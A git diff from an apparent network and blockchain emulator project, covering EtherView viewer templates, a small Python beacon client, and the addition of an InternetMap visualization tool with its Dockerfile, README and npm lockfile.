+{% extends "base.html" %} + +{% block style %} + + +{% endblock %} + +{% block content %} +
+
Contract Name
+

{{data["contract-address"][:42]}}

+

Contract State:

+
+
+
+
+

Contract interaction

+
+
+ + +
+
+ +
+
+ +
+
+
+ + + + + +
+
+
+

output

+
+
+ +
{% endblock %} \ No newline at end of file diff --git a/tools/Blockchain/EtherView/server/templates/contract-frontend/contract-list-frontend.html b/tools/Blockchain/EtherView/server/templates/contract-frontend/contract-list-frontend.html index a2272d09f..4e681f2df 100644 --- a/tools/Blockchain/EtherView/server/templates/contract-frontend/contract-list-frontend.html +++ b/tools/Blockchain/EtherView/server/templates/contract-frontend/contract-list-frontend.html @@ -1,49 +1,49 @@ -{% extends "base.html" %} - -{% block style %} - - -{% endblock %} - -{% block content %} - -

Contract List

- -
- - - - - - - - - - - - - {% for contract in contractList%} - - - - - - - - - {% endfor %} - -
Block No.Contract NameContract AddressOwnerContract BalanceActions
{{ contract.block }}{{ contract.name }}{{ contract.address }}{{ contract.owner }}{{ contract.balance }} Eth - - - -
-
-
- - +{% extends "base.html" %} + +{% block style %} + + +{% endblock %} + +{% block content %} + +

Contract List

+ +
+ + + + + + + + + + + + + {% for contract in contractList%} + + + + + + + + + {% endfor %} + +
Block No.Contract NameContract AddressOwnerContract BalanceActions
{{ contract.block }}{{ contract.name }}{{ contract.address }}{{ contract.owner }}{{ contract.balance }} Eth + + + +
+
+
+ + {% endblock %} \ No newline at end of file diff --git a/tools/Blockchain/EtherView/server/templates/contract-frontend/contract-list-table.html b/tools/Blockchain/EtherView/server/templates/contract-frontend/contract-list-table.html index 31e67a699..9a98eaf37 100644 --- a/tools/Blockchain/EtherView/server/templates/contract-frontend/contract-list-table.html +++ b/tools/Blockchain/EtherView/server/templates/contract-frontend/contract-list-table.html @@ -1,14 +1,14 @@ -{% for contract in contractList%} - - {{ contract.block }} - {{ contract.name }} - {{ contract.address }} - {{ contract.owner }} - {{ contract.balance }} Eth - - - - - - +{% for contract in contractList%} + + {{ contract.block }} + {{ contract.name }} + {{ contract.address }} + {{ contract.owner }} + {{ contract.balance }} Eth + + + + + + {% endfor %} \ No newline at end of file diff --git a/tools/Blockchain/EtherView/server/templates/general-frontend/account-view.html b/tools/Blockchain/EtherView/server/templates/general-frontend/account-view.html index f2e414acc..bf7561945 100644 --- a/tools/Blockchain/EtherView/server/templates/general-frontend/account-view.html +++ b/tools/Blockchain/EtherView/server/templates/general-frontend/account-view.html @@ -1,49 +1,49 @@ -{% extends "base.html" %} - -{% block style %} - - - - - - -{% endblock %} - - -{% block content %} - -
- Provider: - -
- -
- -

Account Balance

-
- - - - - - - - - - - - - - -
Account NoNameBalanceChange +/-Nonce
- -
- -{% endblock %} +{% extends "base.html" %} + +{% block style %} + + + + + + +{% endblock %} + + +{% block content %} + +
+ Provider: + +
+ +
+ +

Account Balance

+
+ + + + + + + + + + + + + + +
Account NoNameBalanceChange +/-Nonce
+ +
+ +{% endblock %} diff --git a/tools/Blockchain/EtherView/server/templates/general-frontend/block-view.html b/tools/Blockchain/EtherView/server/templates/general-frontend/block-view.html index 98d1aecc1..fe4b6d0c3 100644 --- a/tools/Blockchain/EtherView/server/templates/general-frontend/block-view.html +++ b/tools/Blockchain/EtherView/server/templates/general-frontend/block-view.html @@ -1,106 +1,106 @@ -{% extends "base.html" %} {% block style %} - - - - - - - - -{% endblock %} {% block content %} -
-
- - - -
- -
-
-
-
-
Recent Blocks
-
-
    -
    -
    - -
    -
    Recent Transactions
    -
    -
      -
      -
      -
      -
      -
      - -
      -
      - - - - - - - - - - - - - -
      BlockAgeTxnFee RecipientGas UsedGas LimitBase FeeRewardBurnt Fees(ETH)
      -
      -
      - -
      - -
      - - -
      - -
      - -

      Search Block

      -
      - - - - -
      -
      - -
      -
      - -{% endblock %} +{% extends "base.html" %} {% block style %} + + + + + + + + +{% endblock %} {% block content %} +
      +
      + + + +
      + +
      +
      +
      +
      +
      Recent Blocks
      +
      +
        +
        +
        + +
        +
        Recent Transactions
        +
        +
          +
          +
          +
          +
          +
          + +
          +
          + + + + + + + + + + + + + +
          BlockAgeTxnFee RecipientGas UsedGas LimitBase FeeRewardBurnt Fees(ETH)
          +
          +
          + +
          + +
          + + +
          + +
          + +

          Search Block

          +
          + + + + +
          +
          + +
          +
          + +{% endblock %} diff --git a/tools/Blockchain/EtherView/server/templates/general-frontend/one_block.html b/tools/Blockchain/EtherView/server/templates/general-frontend/one_block.html index fa1ed64ff..c245d3975 100644 --- a/tools/Blockchain/EtherView/server/templates/general-frontend/one_block.html +++ b/tools/Blockchain/EtherView/server/templates/general-frontend/one_block.html @@ -1,37 +1,37 @@ -{% extends "base.html" %} - -{% block style %} - - - - - - -{% endblock %} - - -{% block content %} - -
          - - -
          - -
          - -

          Block

          -
          - - - - -
          -
          - - -{% endblock %} +{% extends "base.html" %} + +{% block style %} + + + + + + +{% endblock %} + + +{% block content %} + +
          + + +
          + +
          + +

          Block

          +
          + + + + +
          +
          + + +{% endblock %} diff --git a/tools/Blockchain/EtherView/server/templates/general-frontend/one_tx.html b/tools/Blockchain/EtherView/server/templates/general-frontend/one_tx.html index 5425763d9..69c7ad62e 100644 --- a/tools/Blockchain/EtherView/server/templates/general-frontend/one_tx.html +++ b/tools/Blockchain/EtherView/server/templates/general-frontend/one_tx.html @@ -1,58 +1,58 @@ -{% extends "base.html" %} - -{% block style %} - - - - - - - - -{% endblock %} - -{% block content %} - -
          -
          - - -
          -
          - -
          - -
          -
          - - -
          - -
          -
          - - - -
          -
          -
          - -
          -
          - - - -
          -
          -
          -
          -{% endblock %} +{% extends "base.html" %} + +{% block style %} + + + + + + + + +{% endblock %} + +{% block content %} + +
          +
          + + +
          +
          + +
          + +
          +
          + + +
          + +
          +
          + + + +
          +
          +
          + +
          +
          + + + +
          +
          +
          +
          +{% endblock %} diff --git a/tools/Blockchain/EtherView/server/templates/general-frontend/txpool.html b/tools/Blockchain/EtherView/server/templates/general-frontend/txpool.html index 8f87cc16f..25505f628 100644 --- a/tools/Blockchain/EtherView/server/templates/general-frontend/txpool.html +++ b/tools/Blockchain/EtherView/server/templates/general-frontend/txpool.html @@ -1,27 +1,27 @@ -{% extends "base.html" %} {% block style %} - - - -{% endblock %} {% block content %} - -

          TxPool

          -
          -
          - - - - - - -
          Node IPPending Txs
          -
          -
          - -{% endblock %} +{% extends "base.html" %} {% block style %} + + + +{% endblock %} {% block content %} + +

          TxPool

          +
          +
          + + + + + + +
          Node IPPending Txs
          +
          +
          + +{% endblock %} diff --git a/tools/Blockchain/EtherView/server/templates/index.html b/tools/Blockchain/EtherView/server/templates/index.html index 97e3bd591..d8d24107e 100644 --- a/tools/Blockchain/EtherView/server/templates/index.html +++ b/tools/Blockchain/EtherView/server/templates/index.html @@ -1,13 +1,13 @@ -{% extends "base.html" %} - -{% block style %} - -{% endblock %} - -{% block title%} -Home -{% endblock%} - -{% block content %} -

          Home Page

          +{% extends "base.html" %} + +{% block style %} + +{% endblock %} + +{% block title%} +Home +{% endblock%} + +{% block content %} +

          Home Page

          {% endblock %} \ No newline at end of file diff --git a/tools/Blockchain/EtherView/start.sh b/tools/Blockchain/EtherView/start.sh index a12ac0144..c6247ba69 100644 --- a/tools/Blockchain/EtherView/start.sh +++ b/tools/Blockchain/EtherView/start.sh @@ -1,2 +1,2 @@ -#!/bin/sh -while true; do FLASK_APP=server flask run --host=0.0.0.0; done +#!/bin/sh +while true; do FLASK_APP=server flask run --host=0.0.0.0; done diff --git a/tools/Blockchain/README.md b/tools/Blockchain/README.md index da26135df..bd704f5d9 100644 --- a/tools/Blockchain/README.md +++ b/tools/Blockchain/README.md @@ -1,8 +1,8 @@ -# Blockchain Emulator Tools - -- `Wallet`: a wallet implemented in Python. It is used for interacting - with the blockchain using Python programs. - -- `EtherView`: an app for showing the data from the Blockchain, such as - account balance, blocks, transactions, nonce, etc. - +# Blockchain Emulator Tools + +- `Wallet`: a wallet implemented in Python. It is used for interacting + with the blockchain using Python programs. + +- `EtherView`: an app for showing the data from the Blockchain, such as + account balance, blocks, transactions, nonce, etc. + diff --git a/tools/Blockchain/Wallet/README.md b/tools/Blockchain/Wallet/README.md index f2276bd12..34472dbc7 100644 --- a/tools/Blockchain/Wallet/README.md +++ b/tools/Blockchain/Wallet/README.md @@ -1,5 +1,5 @@ -# Wallet Tools - -This folder contains a Python wallet developed for the -Blockchain emulators. It also contains several examples -to show how to use this wallet. +# Wallet Tools + +This folder contains a Python wallet developed for the +Blockchain emulators. It also contains several examples +to show how to use this wallet. diff --git a/tools/Blockchain/lib/BeaconClient.py b/tools/Blockchain/lib/BeaconClient.py index 4ba960fe2..c1ccda65c 100644 --- a/tools/Blockchain/lib/BeaconClient.py +++ b/tools/Blockchain/lib/BeaconClient.py @@ -1,29 +1,29 @@ -import requests - -class BeaconClient: - """! - @brief The BeaconClient class. - """ - - def __init__(self): - """! - @brief BeaconClient constructor. - """ - - self._beacon_node_url = 'http://10.151.0.71:8000' - - def getValidatorStatus(self): - return requests.get(self._beacon_node_url+"/"+"/eth/v1/beacon/states/head/validators")['data'] - - -class ValidatorClient: - """! - @brief The ValidatorClient class. - """ - - def __init__(self): - """! - @brief ValidatorClient constructor. - """ - +import requests + +class BeaconClient: + """! + @brief The BeaconClient class. + """ + + def __init__(self): + """! + @brief BeaconClient constructor. + """ + + self._beacon_node_url = 'http://10.151.0.71:8000' + + def getValidatorStatus(self): + return requests.get(self._beacon_node_url+"/"+"/eth/v1/beacon/states/head/validators")['data'] + + +class ValidatorClient: + """! + @brief The ValidatorClient class. + """ + + def __init__(self): + """! + @brief ValidatorClient constructor. + """ + self._validator_node_url = 'http://10.151.0.71:5062' \ No newline at end of file diff --git a/tools/InternetMap b/tools/InternetMap deleted file mode 120000 index 684d7ecf8..000000000 --- a/tools/InternetMap +++ /dev/null @@ -1 +0,0 @@ -../client/ \ No newline at end of file diff --git a/tools/InternetMap/.dockerignore b/tools/InternetMap/.dockerignore new file mode 100644 index 000000000..75e1f47af --- /dev/null +++ b/tools/InternetMap/.dockerignore @@ -0,0 +1,4 @@ +**/node_modules/ +example +docs +*.md \ No newline at end of file diff --git a/tools/InternetMap/Dockerfile b/tools/InternetMap/Dockerfile new file mode 100644 index 000000000..c99b6e1b2 --- /dev/null +++ b/tools/InternetMap/Dockerfile @@ -0,0 +1,13 @@ +FROM node:14 +COPY start.sh / +WORKDIR /usr/src/app +COPY . . +WORKDIR /usr/src/app/frontend +RUN npm install +RUN npm install -D webpack-cli +RUN ./node_modules/.bin/webpack --mode production +WORKDIR /usr/src/app/backend +RUN npm install +RUN npm install -D typescript @types/tar-fs +RUN ./node_modules/.bin/tsc +ENTRYPOINT ["sh", "/start.sh"] diff --git a/tools/InternetMap/README.md b/tools/InternetMap/README.md new file mode 100644 index 000000000..60aa7446d --- /dev/null +++ b/tools/InternetMap/README.md @@ -0,0 +1,78 @@ +# InternetMap + +This is a visualization tool that we developed for the Internet emulator. + +## Features supported + +Currently, the tool supports the following features: + +- [index](#indexhtml): + - Home page +- [map](#maphtml): + - Display topology of the network + - Search and highlight nodes on the map + - Animate packet flows using BPF expressions + - Disconnect/reconnect nodes from emulation + - Enable/disable BGP peers + - Customize node styles + - Expand/collapse nodes + - Drag-to-fix node positions +- [dashboard](#dashboardhtml): + - List nodes in the emulation + - Access nodes in the emulation + - Search nodes by ASN, node name, or IP address +- [plugin](#pluginhtml) + - Plugin installation page + + +## How to use this tool + +### Start the tool during the runtime + +The Internet Map runs inside an independent container. We can use the `docker-compose.yml` file inside this folder to bring up the container. + + +1. Start the emulation as you normally would. (e.g., `docker-compose up`) +2. Run `docker-compose build && docker-compose up` in this folder to build and start the Internet Map container. +3. Once the container is up, access the tool using the following pages: + 1. Home page: [http://localhost:8080/](http://localhost:8080/) or [http://localhost:8080/index.html](http://localhost:8080/index.html) + 2. The Map page: [http://localhost:8080/map.html](http://localhost:8080/map.html) + 3. Dashboard: [http://localhost:8080/dashboard.html](http://localhost:8080/dashboard.html) + 4. Plugin pag: [http://localhost:8080/plugin.html](http://localhost:8080/plugin.html) + + +### Start the tool during the runtime + +Alternatively, the Internet Map container can be directly included in the emulator when we build the emulator. Just set `clientEnabled = True` when using `Docker` compiler (the default value is `True`, so by default, the Internet Map is already included in the emulator). + + +### The security issue + +Note that the Internet Map allows unauthenticated console access to all nodes, which can potentially allow root access to your emulator host. Only run this tool on trusted networks. If you only want to use the Internet Map to visualize the network, without providing the node access, you can disable the access. For details, please refer to [example/internet/B07_internet_map_unable_console](../../examples/internet/B07_internet_map_unable_console/README.md). + + +## Pages + +### index.html + +Home page, the entry point. + +![index.png](docs/assets/index.png) + +### map.html + +The network topology diagram displays interconnection relationships between nodes and networks, along with auxiliary functions including filtering, search, settings, replay, and logging. For detailed introductions, [please refer to this document](./docs/map.md). + +![map.png](docs/assets/map.png) + +### dashboard.html + +Displays the emulator nodes and networks. + +![dashboard.png](docs/assets/dashboard.png) + +### plugin.html + +Plugin installation page: installing additional tools inside the emulator. For detailed instructions, [please refer to this document](docs/plugin.md). + +![plugin.png](docs/assets/plugin.png) diff --git a/tools/InternetMap/backend/package-lock.json b/tools/InternetMap/backend/package-lock.json new file mode 100644 index 000000000..485d01ec3 --- /dev/null +++ b/tools/InternetMap/backend/package-lock.json @@ -0,0 +1,1722 @@ +{ + "name": "container-manager-server", + "version": "0.0.1", + "lockfileVersion": 2, + "requires": true, + "packages": { + "": { + "name": "container-manager-server", + "version": "0.0.1", + "license": "MIT", + "dependencies": { + "@types/dockerode": "^3.2.2", + "@types/express": "^4.17.11", + "@types/express-ws": "^3.0.0", + "@types/node": "^14.10.1", + "@types/ws": "^7.2.6", + "dockerode": "^3.2.1", + "express": "^4.17.1", + "express-ws": "^4.0.0", + "tslog": "^3.0.5", + "ws": "^7.3.1" + } + }, + "node_modules/@types/body-parser": { + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.0.tgz", + "integrity": "sha512-W98JrE0j2K78swW4ukqMleo8R7h/pFETjM2DQ90MF6XK2i4LO4W3gQ71Lt4w3bfm2EvVSyWHplECvB5sK22yFQ==", + "dependencies": { + "@types/connect": "*", + "@types/node": "*" + } + }, + "node_modules/@types/connect": { + "version": "3.4.34", + "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.34.tgz", + "integrity": "sha512-ePPA/JuI+X0vb+gSWlPKOY0NdNAie/rPUqX2GUPpbZwiKTkSPhjXWuee47E4MtE54QVzGCQMQkAL6JhV2E1+cQ==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/dockerode": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/@types/dockerode/-/dockerode-3.2.2.tgz", + "integrity": "sha512-YtdVvc+WmxShwx0iBmn0AtiLL2Zbcak9gXqdeBp0UpiRyOcshZM0eVTOEkUKd4mIjHzSEpA+1P3lXb7ouYvDtQ==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/express": { + "version": "4.17.11", + "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.11.tgz", + "integrity": "sha512-no+R6rW60JEc59977wIxreQVsIEOAYwgCqldrA/vkpCnbD7MqTefO97lmoBe4WE0F156bC4uLSP1XHDOySnChg==", + "dependencies": { + "@types/body-parser": "*", + "@types/express-serve-static-core": "^4.17.18", + "@types/qs": "*", + "@types/serve-static": "*" + } + }, + "node_modules/@types/express-serve-static-core": { + "version": "4.17.18", + "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.18.tgz", + "integrity": "sha512-m4JTwx5RUBNZvky/JJ8swEJPKFd8si08pPF2PfizYjGZOKr/svUWPcoUmLow6MmPzhasphB7gSTINY67xn3JNA==", + "dependencies": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*" + } + }, + "node_modules/@types/express-ws": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/express-ws/-/express-ws-3.0.0.tgz", + "integrity": "sha512-GxsWec7Vp6h7sJuK0PwnZHeXNZnOwQn8kHAbCfvii66it5jXHTWzSg5cgHVtESwJfBLOe9SJ5wmM7C6gsDoyQw==", + "dependencies": { + "@types/express": "*", + "@types/express-serve-static-core": "*", + "@types/ws": "*" + } + }, + "node_modules/@types/mime": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@types/mime/-/mime-2.0.3.tgz", + "integrity": "sha512-Jus9s4CDbqwocc5pOAnh8ShfrnMcPHuJYzVcSUU7lrh8Ni5HuIqX3oilL86p3dlTrk0LzHRCgA/GQ7uNCw6l2Q==" + }, + "node_modules/@types/node": { + "version": "14.14.20", + "resolved": "https://registry.npmjs.org/@types/node/-/node-14.14.20.tgz", + "integrity": "sha512-Y93R97Ouif9JEOWPIUyU+eyIdyRqQR0I8Ez1dzku4hDx34NWh4HbtIc3WNzwB1Y9ULvNGeu5B8h8bVL5cAk4/A==" + }, + "node_modules/@types/qs": { + "version": "6.9.5", + "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.9.5.tgz", + "integrity": "sha512-/JHkVHtx/REVG0VVToGRGH2+23hsYLHdyG+GrvoUGlGAd0ErauXDyvHtRI/7H7mzLm+tBCKA7pfcpkQ1lf58iQ==" + }, + "node_modules/@types/range-parser": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.3.tgz", + "integrity": "sha512-ewFXqrQHlFsgc09MK5jP5iR7vumV/BYayNC6PgJO2LPe8vrnNFyjQjSppfEngITi0qvfKtzFvgKymGheFM9UOA==" + }, + "node_modules/@types/serve-static": { + "version": "1.13.8", + "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.13.8.tgz", + "integrity": "sha512-MoJhSQreaVoL+/hurAZzIm8wafFR6ajiTM1m4A0kv6AGeVBl4r4pOV8bGFrjjq1sGxDTnCoF8i22o0/aE5XCyA==", + "dependencies": { + "@types/mime": "*", + "@types/node": "*" + } + }, + "node_modules/@types/ws": { + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-7.4.0.tgz", + "integrity": "sha512-Y29uQ3Uy+58bZrFLhX36hcI3Np37nqWE7ky5tjiDoy1GDZnIwVxS0CgF+s+1bXMzjKBFy+fqaRfb708iNzdinw==", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/accepts": { + "version": "1.3.7", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.7.tgz", + "integrity": "sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA==", + "dependencies": { + "mime-types": "~2.1.24", + "negotiator": "0.6.2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=" + }, + "node_modules/asn1": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", + "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==", + "dependencies": { + "safer-buffer": "~2.1.0" + } + }, + "node_modules/async-limiter": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz", + "integrity": "sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ==" + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==" + }, + "node_modules/bcrypt-pbkdf": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", + "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", + "dependencies": { + "tweetnacl": "^0.14.3" + } + }, + "node_modules/bl": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/bl/-/bl-4.0.3.tgz", + "integrity": "sha512-fs4G6/Hu4/EE+F75J8DuN/0IpQqNjAdC7aEQv7Qt8MHGUH7Ckv2MwTEEeN9QehD0pfIDkMI1bkHYkKy7xHyKIg==", + "dependencies": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "node_modules/body-parser": { + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", + "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==", + "dependencies": { + "bytes": "3.1.0", + "content-type": "~1.0.4", + "debug": "2.6.9", + "depd": "~1.1.2", + "http-errors": "1.7.2", + "iconv-lite": "0.4.24", + "on-finished": "~2.3.0", + "qs": "6.7.0", + "raw-body": "2.4.0", + "type-is": "~1.6.17" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/body-parser/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/body-parser/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, + "node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "node_modules/buffer-from": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz", + "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==" + }, + "node_modules/bytes": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", + "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/chownr": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", + "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==" + }, + "node_modules/content-disposition": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", + "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", + "dependencies": { + "safe-buffer": "5.1.2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/content-disposition/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/content-type": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", + "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz", + "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" + }, + "node_modules/debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + } + }, + "node_modules/depd": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", + "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/destroy": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", + "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=" + }, + "node_modules/docker-modem": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/docker-modem/-/docker-modem-2.1.4.tgz", + "integrity": "sha512-vDTzZjjO1sXMY7m0xKjGdFMMZL7vIUerkC3G4l6rnrpOET2M6AOufM8ajmQoOB+6RfSn6I/dlikCUq/Y91Q1sQ==", + "dependencies": { + "debug": "^4.1.1", + "readable-stream": "^3.5.0", + "split-ca": "^1.0.1", + "ssh2": "^0.8.7" + }, + "engines": { + "node": ">= 8.0" + } + }, + "node_modules/dockerode": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/dockerode/-/dockerode-3.2.1.tgz", + "integrity": "sha512-XsSVB5Wu5HWMg1aelV5hFSqFJaKS5x1aiV/+sT7YOzOq1IRl49I/UwV8Pe4x6t0iF9kiGkWu5jwfvbkcFVupBw==", + "dependencies": { + "docker-modem": "^2.1.0", + "tar-fs": "~2.0.1" + }, + "engines": { + "node": ">= 8.0" + } + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=" + }, + "node_modules/encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=" + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/express": { + "version": "4.17.1", + "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz", + "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==", + "dependencies": { + "accepts": "~1.3.7", + "array-flatten": "1.1.1", + "body-parser": "1.19.0", + "content-disposition": "0.5.3", + "content-type": "~1.0.4", + "cookie": "0.4.0", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "~1.1.2", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "~1.1.2", + "fresh": "0.5.2", + "merge-descriptors": "1.0.1", + "methods": "~1.1.2", + "on-finished": "~2.3.0", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.7", + "proxy-addr": "~2.0.5", + "qs": "6.7.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.1.2", + "send": "0.17.1", + "serve-static": "1.14.1", + "setprototypeof": "1.1.1", + "statuses": "~1.5.0", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/express-ws": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/express-ws/-/express-ws-4.0.0.tgz", + "integrity": 